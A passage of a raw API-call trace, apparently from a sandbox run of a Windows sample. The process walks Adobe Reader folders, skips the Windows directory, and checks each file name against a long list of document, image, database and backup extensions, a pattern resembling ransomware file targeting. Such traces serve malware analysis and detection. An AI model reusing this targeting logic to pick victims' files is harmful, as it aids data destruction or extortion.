(lpString=".asc") returned 4 [0271.967] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.967] lstrlenW (lpString=".ascx") returned 5 [0271.967] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.967] lstrlenW (lpString=".asm") returned 4 [0271.967] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.967] lstrlenW (lpString=".asmx") returned 5 [0271.967] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.967] lstrlenW (lpString=".asp") returned 4 [0271.968] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.968] lstrlenW (lpString=".aspx") returned 5 [0271.968] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.968] lstrlenW (lpString=".asr") returned 4 [0271.968] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.968] lstrlenW (lpString=".asx") returned 4 [0271.968] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.968] lstrlenW (lpString=".avi") returned 4 [0271.968] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.968] lstrlenW (lpString=".avs") returned 4 [0271.968] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.968] lstrlenW (lpString=".backup") returned 7 [0271.968] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.968] lstrlenW (lpString=".bak") returned 4 [0271.968] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.968] lstrlenW (lpString=".bay") returned 4 [0271.968] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.968] lstrlenW (lpString=".bd") returned 3 [0271.968] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.969] lstrlenW (lpString=".bin") returned 4 [0271.969] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".bmp") returned 4 [0271.969] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".bz2") returned 4 [0271.969] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".c") returned 2 [0271.969] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.969] lstrlenW (lpString=".cdr") returned 4 [0271.969] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".cer") returned 4 [0271.969] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".cf") returned 3 [0271.969] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.969] lstrlenW (lpString=".cfc") returned 4 [0271.969] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".cfm") returned 4 [0271.969] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".cfml") returned 5 [0271.969] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.969] lstrlenW (lpString=".cfu") returned 4 [0271.969] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".chm") returned 4 [0271.969] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".cin") returned 4 [0271.969] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.969] lstrlenW (lpString=".class") returned 6 [0271.969] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.970] lstrlenW (lpString=".clx") returned 4 [0271.970] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".config") returned 7 [0271.970] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.970] lstrlenW (lpString=".cpp") returned 4 [0271.970] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".cr2") returned 4 [0271.970] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".crt") returned 4 [0271.970] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".crw") returned 4 [0271.970] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".cs") returned 3 [0271.970] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.970] lstrlenW (lpString=".css") returned 4 [0271.970] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".csv") returned 4 [0271.970] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".cub") returned 4 [0271.970] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".dae") returned 4 [0271.970] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".dat") returned 4 [0271.970] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.970] lstrlenW (lpString=".db") returned 3 [0271.970] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.971] lstrlenW (lpString=".dbf") returned 4 [0271.971] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.971] lstrlenW (lpString=".dbx") returned 4 [0271.971] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.971] lstrlenW (lpString=".dc3") returned 4 [0271.971] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.971] lstrlenW (lpString=".dcm") returned 4 [0271.971] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.971] lstrlenW (lpString=".dcr") returned 4 [0271.971] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.971] lstrlenW (lpString=".der") returned 4 [0271.971] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.971] lstrlenW (lpString=".dib") returned 4 [0271.971] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.971] lstrlenW (lpString=".dic") returned 4 [0271.971] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.972] lstrlenW (lpString=".dif") returned 4 [0271.972] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.972] lstrlenW (lpString=".divx") returned 5 [0271.972] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.972] lstrlenW (lpString=".djvu") returned 5 [0271.972] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.972] lstrlenW (lpString=".dng") returned 4 [0271.972] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.972] lstrlenW (lpString=".doc") returned 4 [0271.972] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.972] lstrlenW (lpString=".docm") returned 5 [0271.972] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.972] lstrlenW (lpString=".docx") returned 5 [0271.972] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.972] lstrlenW (lpString=".dot") returned 4 [0271.972] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.972] lstrlenW (lpString=".dotm") returned 5 [0271.972] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.972] lstrlenW (lpString=".dotx") returned 5 [0271.972] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.972] lstrlenW (lpString=".dpx") returned 4 [0271.972] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.972] lstrlenW (lpString=".dqy") returned 4 [0271.972] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.972] lstrlenW (lpString=".dsn") returned 4 [0271.972] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.972] lstrlenW (lpString=".dt") returned 3 [0271.972] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.973] lstrlenW (lpString=".dtd") returned 4 [0271.973] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".dwg") returned 4 [0271.973] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".dwt") returned 4 [0271.973] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".dx") returned 3 [0271.973] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.973] lstrlenW (lpString=".dxf") returned 4 [0271.973] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".edml") returned 5 [0271.973] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.973] lstrlenW (lpString=".efd") returned 4 [0271.973] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".elf") returned 4 [0271.973] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".emf") returned 4 [0271.973] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".emz") returned 4 [0271.973] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".epf") returned 4 [0271.973] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".eps") returned 4 [0271.973] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.973] lstrlenW (lpString=".epsf") returned 5 [0271.973] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.973] lstrlenW (lpString=".epsp") returned 5 [0271.974] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.974] lstrlenW (lpString=".erf") returned 4 [0271.974] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".exr") returned 4 [0271.974] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".f4v") returned 4 [0271.974] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".fido") returned 5 [0271.974] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0271.974] lstrlenW (lpString=".flm") returned 4 [0271.974] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".flv") returned 4 [0271.974] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".frm") returned 4 [0271.974] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".fxg") returned 4 [0271.974] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".geo") returned 4 [0271.974] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".gif") returned 4 [0271.974] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".grs") returned 4 [0271.974] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0271.974] lstrlenW (lpString=".gz") returned 3 [0271.974] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0271.974] lstrlenW (lpString=".h") returned 2 [0271.974] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0271.974] lstrlenW (lpString=".hdr") returned 4 [0271.975] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".hpp") returned 4 [0271.975] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".hta") returned 4 [0271.975] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".htc") returned 4 [0271.975] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".htm") returned 4 [0271.975] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".html") returned 5 [0271.975] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0271.975] lstrlenW (lpString=".icb") returned 4 [0271.975] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".ics") returned 4 [0271.975] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".iff") returned 4 [0271.975] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".inc") returned 4 [0271.975] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0271.975] lstrlenW (lpString=".indd") returned 5 [0271.975] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0271.975] lstrlenW (lpString=".ini") returned 4 [0271.975] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".iqy") returned 4 [0271.976] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".j2c") returned 4 [0271.976] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".j2k") returned 4 [0271.976] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".java") returned 5 [0271.976] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0271.976] lstrlenW (lpString=".jp2") returned 4 [0271.976] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".jpc") returned 4 [0271.976] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".jpe") returned 4 [0271.976] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".jpeg") returned 5 [0271.976] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0271.976] lstrlenW (lpString=".jpf") returned 4 [0271.976] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".jpg") returned 4 [0271.976] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".jpx") returned 4 [0271.976] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0271.976] lstrlenW (lpString=".js") returned 3 [0271.976] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0271.976] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.325] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0272.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.344] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0272.344] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root") returned 118 [0272.344] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root") returned 1 [0272.344] lstrlenW (lpString="root") returned 4 [0272.345] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="root") returned -1 [0272.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.345] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root") returned 118 [0272.345] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0272.345] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.345] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.345] lstrlenW (lpString="ui-strings.js") returned 13 [0272.345] lstrlenW (lpString=".1cd") returned 4 [0272.345] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.346] lstrlenW (lpString=".3ds") returned 4 [0272.346] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.346] lstrlenW (lpString=".3fr") returned 4 [0272.346] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.346] lstrlenW (lpString=".3g2") returned 4 [0272.346] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.346] lstrlenW (lpString=".3gp") returned 4 [0272.346] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.346] lstrlenW (lpString=".7z") returned 3 [0272.346] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.346] lstrlenW (lpString=".accda") returned 6 [0272.346] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.346] lstrlenW (lpString=".accdb") returned 6 [0272.346] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.346] lstrlenW (lpString=".accdc") returned 6 [0272.346] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.346] lstrlenW (lpString=".accde") returned 6 [0272.346] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.346] lstrlenW (lpString=".accdt") returned 6 [0272.346] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.346] lstrlenW (lpString=".accdw") returned 6 [0272.346] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.346] lstrlenW (lpString=".adb") returned 4 [0272.346] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.346] lstrlenW (lpString=".adp") returned 4 [0272.351] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.351] lstrlenW (lpString=".ai") returned 3 [0272.351] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.351] lstrlenW (lpString=".ai3") returned 4 [0272.351] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.351] lstrlenW (lpString=".ai4") returned 4 [0272.351] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.351] lstrlenW (lpString=".ai5") returned 4 [0272.351] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.351] lstrlenW (lpString=".ai6") returned 4 [0272.351] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.351] lstrlenW (lpString=".ai7") returned 4 [0272.351] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.351] lstrlenW (lpString=".ai8") returned 4 [0272.351] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.351] lstrlenW (lpString=".anim") returned 5 [0272.351] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.351] lstrlenW (lpString=".arw") returned 4 [0272.351] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.351] lstrlenW (lpString=".as") returned 3 [0272.351] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.351] lstrlenW (lpString=".asa") returned 4 [0272.352] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".asc") returned 4 [0272.352] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".ascx") returned 5 [0272.352] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.352] lstrlenW (lpString=".asm") returned 4 [0272.352] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".asmx") returned 5 [0272.352] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.352] lstrlenW (lpString=".asp") returned 4 [0272.352] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".aspx") returned 5 [0272.352] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.352] lstrlenW (lpString=".asr") returned 4 [0272.352] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".asx") returned 4 [0272.352] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".avi") returned 4 [0272.352] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".avs") returned 4 [0272.352] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".backup") returned 7 [0272.352] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.352] lstrlenW (lpString=".bak") returned 4 [0272.352] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".bay") returned 4 [0272.352] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.352] lstrlenW (lpString=".bd") returned 3 [0272.352] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.352] lstrlenW (lpString=".bin") returned 4 [0272.352] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".bmp") returned 4 [0272.353] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".bz2") returned 4 [0272.353] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".c") returned 2 [0272.353] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.353] lstrlenW (lpString=".cdr") returned 4 [0272.353] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".cer") returned 4 [0272.353] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".cf") returned 3 [0272.353] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.353] lstrlenW (lpString=".cfc") returned 4 [0272.353] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".cfm") returned 4 [0272.353] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".cfml") returned 5 [0272.353] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.353] lstrlenW (lpString=".cfu") returned 4 [0272.353] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".chm") returned 4 [0272.353] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".cin") returned 4 [0272.353] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".class") returned 6 [0272.353] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.353] lstrlenW (lpString=".clx") returned 4 [0272.353] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.353] lstrlenW (lpString=".config") returned 7 [0272.353] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.353] lstrlenW (lpString=".cpp") returned 4 [0272.354] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".cr2") returned 4 [0272.354] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".crt") returned 4 [0272.354] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".crw") returned 4 [0272.354] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".cs") returned 3 [0272.354] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.354] lstrlenW (lpString=".css") returned 4 [0272.354] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".csv") returned 4 [0272.354] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".cub") returned 4 [0272.354] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".dae") returned 4 [0272.354] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".dat") returned 4 [0272.354] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".db") returned 3 [0272.354] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.354] lstrlenW (lpString=".dbf") returned 4 [0272.354] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".dbx") returned 4 [0272.354] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".dc3") returned 4 [0272.354] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".dcm") returned 4 [0272.354] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.354] lstrlenW (lpString=".dcr") returned 4 [0272.355] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".der") returned 4 [0272.355] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".dib") returned 4 [0272.355] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".dic") returned 4 [0272.355] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".dif") returned 4 [0272.355] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".divx") returned 5 [0272.355] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.355] lstrlenW (lpString=".djvu") returned 5 [0272.355] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.355] lstrlenW (lpString=".dng") returned 4 [0272.355] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".doc") returned 4 [0272.355] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".docm") returned 5 [0272.355] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.355] lstrlenW (lpString=".docx") returned 5 [0272.355] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.355] lstrlenW (lpString=".dot") returned 4 [0272.355] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".dotm") returned 5 [0272.355] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.355] lstrlenW 